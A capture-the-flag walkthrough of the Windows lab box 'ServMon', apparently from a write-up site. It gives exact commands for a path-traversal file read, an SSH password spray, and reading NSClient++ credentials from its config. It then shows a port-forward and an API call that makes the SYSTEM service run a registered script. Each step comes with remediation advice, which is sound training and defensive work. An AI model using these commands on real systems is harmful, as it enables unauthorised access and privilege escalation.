← all walkthroughs

ServMon

Windows· Easy
owned
2026-07-04
time to own
4m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I, with no credentials, abused a path-traversal flaw in the web service on port 80 to read files outside the webroot, pulled a plaintext password list from Nathan's and Nadine's desktops, and sprayed it against SSH to find Nadine's working password. From the Nadine shell, the NSClient++ configuration file disclosed the web-admin password.

The NSClient++ API listened only on 127.0.0.1:8443, so an SSH port-forward exposed it; registering an external script through the API made the SYSTEM-level NSClient++ service copy root.txt to Nadine's desktop.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for Nadine>"
export PASSWORD2="<the-password-you-recovered, for admin>"

Attack path — how the box was taken

1EnumerationPath traversal / arbitrary file read
Path traversal on the port-80 web app reads files outside the webroot
The web service on port 80 did not constrain the request path. Requesting a URL made of repeated '../' segments, with curl's --path-as-is so the client does not normalise them away, walked out of the webroot and returned C:\Windows\win.ini unfiltered. That confirmed an unauthenticated arbitrary file read on the host.
The traversal request returned the contents of win.ini, confirming file read outside the webroot.
Exact commands 1
shell

--path-as-is keeps the ../ segments intact; without it curl collapses them before sending.

$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../windows/win.ini"
FixFix the path-traversal flaw in the port-80 web applicationCritical
WeaknessThe web application on port 80 passed '../' segments in the request path straight to the filesystem, so an unauthenticated request could read any file the web-server process could reach, including user documents on the C: drive.
FixPatch or replace the web application so request paths are normalised and confined to the webroot. Until then, block requests whose path contains '../' or encoded traversal sequences (%2e%2e, %2f, %5c) at a reverse proxy or WAF, and run the web-server process under an account that cannot read user profiles.
2Credential AccessCredentials in Files (T1552.001)
Plaintext password list pulled from the users' desktops
With the read primitive confirmed, I requested Passwords.txt from the Desktop folders of the two local users, Nathan and Nadine. The file was a plaintext list of candidate passwords, which together with the two usernames gave a small user/password set to test.
Passwords.txt came back as a plaintext password list; Nathan and Nadine were the candidate usernames.
Exact commands 2
shell

Reads Nathan's password list.

$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt"
shell

Same request against Nadine's desktop.

$ curl -s --connect-timeout 5 --path-as-is "http://$TARGET/../../../../../../../../../../../../Users/Nadine/Desktop/Passwords.txt"
FixRemove plaintext credential files from the filesystemHigh
WeaknessA file ('Passwords.txt') containing multiple cleartext passwords was stored on a user's desktop. Any process able to read that path — including the unauthenticated web-application traversal above — could retrieve working credentials instantly.
FixDelete all plaintext credential files from the filesystem immediately. Adopt a password manager (e.g. KeePass, Bitwarden) so passwords are never written to readable text files. Run a one-time audit across all user home directories and shared drives searching for filenames matching patterns like *password*, *cred*, *secret*, *.txt, and flag any file containing password-like content for removal.
3Credential AccessPassword Spraying (T1110.003)
Password spray over SSH finds Nadine's login
SSH on port 22 was OpenSSH_for_Windows_8.0 with password authentication enabled. I wrote the two usernames to one file and the harvested passwords, one per line, to another, then let nxc try every pair. It reported one valid combination: Nadine with a password from the list.
Nxc reported a valid SSH login for Nadine.
Exact commands 2
shell

Candidate usernames, one per line.

$ printf '%s\n' Nathan Nadine > /tmp/servmon_users.txt
shell

/tmp/servmon_pass.txt holds the passwords from Passwords.txt, one per line. --continue-on-success tests every pair.

$ nxc ssh $TARGET -u /tmp/servmon_users.txt -p /tmp/servmon_pass.txt --continue-on-success 2>/dev/null | tee /tmp/servmon_nxc_ssh.txt
FixDisable SSH password authenticationHigh
WeaknessSSH accepted passwords, so a leaked password list could be sprayed against it until one pair worked.
FixEnforce key-only SSH with per-user keys and disable password authentication. Rotate every password that appeared in Passwords.txt.
4Initial AccessValid Accounts (T1078)
SSH as Nadine and the user flag
Logging in over SSH as Nadine with the sprayed password gave a shell on ServMon. The same session read user.txt from Nadine's desktop and checked her privileges, which held nothing beyond the defaults.
Servmon\nadine / ServMon; whoami /priv listed only SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege.
Exact commands 1
shell

Confirms the identity and prints <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 Nadine@$TARGET 'whoami & hostname & type C:\Users\Nadine\Desktop\user.txt & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" & whoami /priv'
servmon\nadine
5Credential AccessCredentials in Files (T1552.001)
NSClient++ admin password read from nsclient.ini
NSClient++ was installed under C:\Program Files\NSClient++, and its nsclient.ini was readable by Nadine. The file held the web-admin password in cleartext. Searchsploit matched the install to EDB-ID 46802, an NSClient++ privilege escalation that abuses the CheckExternalScripts module through the REST API; the service runs as SYSTEM, so any script it executes does too.
nsclient.ini disclosed the NSClient++ web-admin credential for the admin user.
Exact commands 1
shell

The password line in the output is the admin credential for the NSClient++ API ($PASSWORD2).

$ sshpass -p "$PASSWORD" ssh Nadine@$TARGET 'powershell -NoProfile -Command "Get-Content \"C:\Program Files\NSClient++\nsclient.ini\""'
FixHarden NSClient++ network exposure and eliminate cleartext config-file credentialsHigh
WeaknessNSClient++ was bound to localhost, but any user with SSH access could tunnel to it, and the admin password sat in cleartext in nsclient.ini, readable by an ordinary user. One readable file gave full administrative access to a SYSTEM-level service.
FixRotate the NSClient++ admin password immediately to a long, randomly generated value and store it only in a secrets manager — never in a plaintext config file. Enable NSClient++'s built-in allowed-hosts restriction (nsclient.ini: 'allowed hosts = 127.0.0.1') and keep it current. Limit SSH access to named administrative accounts and enforce multi-factor authentication. Upgrade NSClient++ to the latest supported release.
6Lateral Movement / PivotSSH Tunnelling / Port Forwarding (T1572)
SSH port-forward reaches the localhost-only NSClient++ API
The NSClient++ web admin API listened only on 127.0.0.1:8443, so it was unreachable from outside. A local port-forward through Nadine's SSH session bound my own 127.0.0.1:8443 to the target's, making the API reachable at https://127.0.0.1:8443.
The API answered on https://127.0.0.1:8443 once the tunnel was up.
Exact commands 1
shell

Leave this running in its own terminal; later API calls go to https://127.0.0.1:8443.

$ sshpass -p "$PASSWORD" ssh -N -L 127.0.0.1:8443:127.0.0.1:8443 Nadine@$TARGET
7Privilege EscalationNSClient++ CheckExternalScripts abuse (EDB-ID 46802)
External script registered through the NSClient++ API runs as SYSTEM
Authenticated to the API as admin with HTTP basic auth, I PUT a new CheckExternalScripts entry, pwnroot.bat, whose body copies the Administrator's root.txt to Nadine's desktop. Listing /api/v1/scripts/ext confirmed the script was registered. Running it through the API's query interface executed it inside the NSClient++ service as SYSTEM, and Nadine's existing SSH session then read the copied flag.
pwnroot.bat appeared in the external-scripts list; root-api.txt on Nadine's desktop held <root.txt>.
Exact commands 3
shell

Registers pwnroot.bat with a command that the SYSTEM service will run.

$ curl -k -s -i -u admin:$PASSWORD2 -X PUT --data-binary 'cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Nadine\Desktop\root-api.txt' https://127.0.0.1:8443/api/v1/scripts/ext/scripts/pwnroot.bat
shell

Lists the external scripts; pwnroot.bat should be present.

$ curl -k -s -u admin:$PASSWORD2 https://127.0.0.1:8443/api/v1/scripts/ext | python3 -m json.tool
shell

After the script runs, reads the copied flag: <root.txt>.

$ sshpass -p "$PASSWORD" ssh Nadine@$TARGET 'type C:\Users\Nadine\Desktop\root-api.txt'
FixRestrict NSClient++ service privileges and disable unrestricted external-script executionCritical
WeaknessNSClient++ ran as NT AUTHORITY\SYSTEM — the highest possible local privilege — and its REST API allowed any authenticated administrator to register and execute arbitrary operating-system commands at that privilege level, providing a single-step path from web-admin credentials to full host compromise.
FixRun NSClient++ under a dedicated, least-privilege service account instead of SYSTEM. Disable the 'External Scripts' and 'NRPE' modules in nsclient.ini unless explicitly required. If external scripts are needed, restrict the allowed-scripts directory, require each permitted script to be individually whitelisted, and never allow arbitrary command strings from API callers. Apply the principle of least privilege so a compromised monitoring agent cannot hand an unauthorised user the keys to the entire host.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more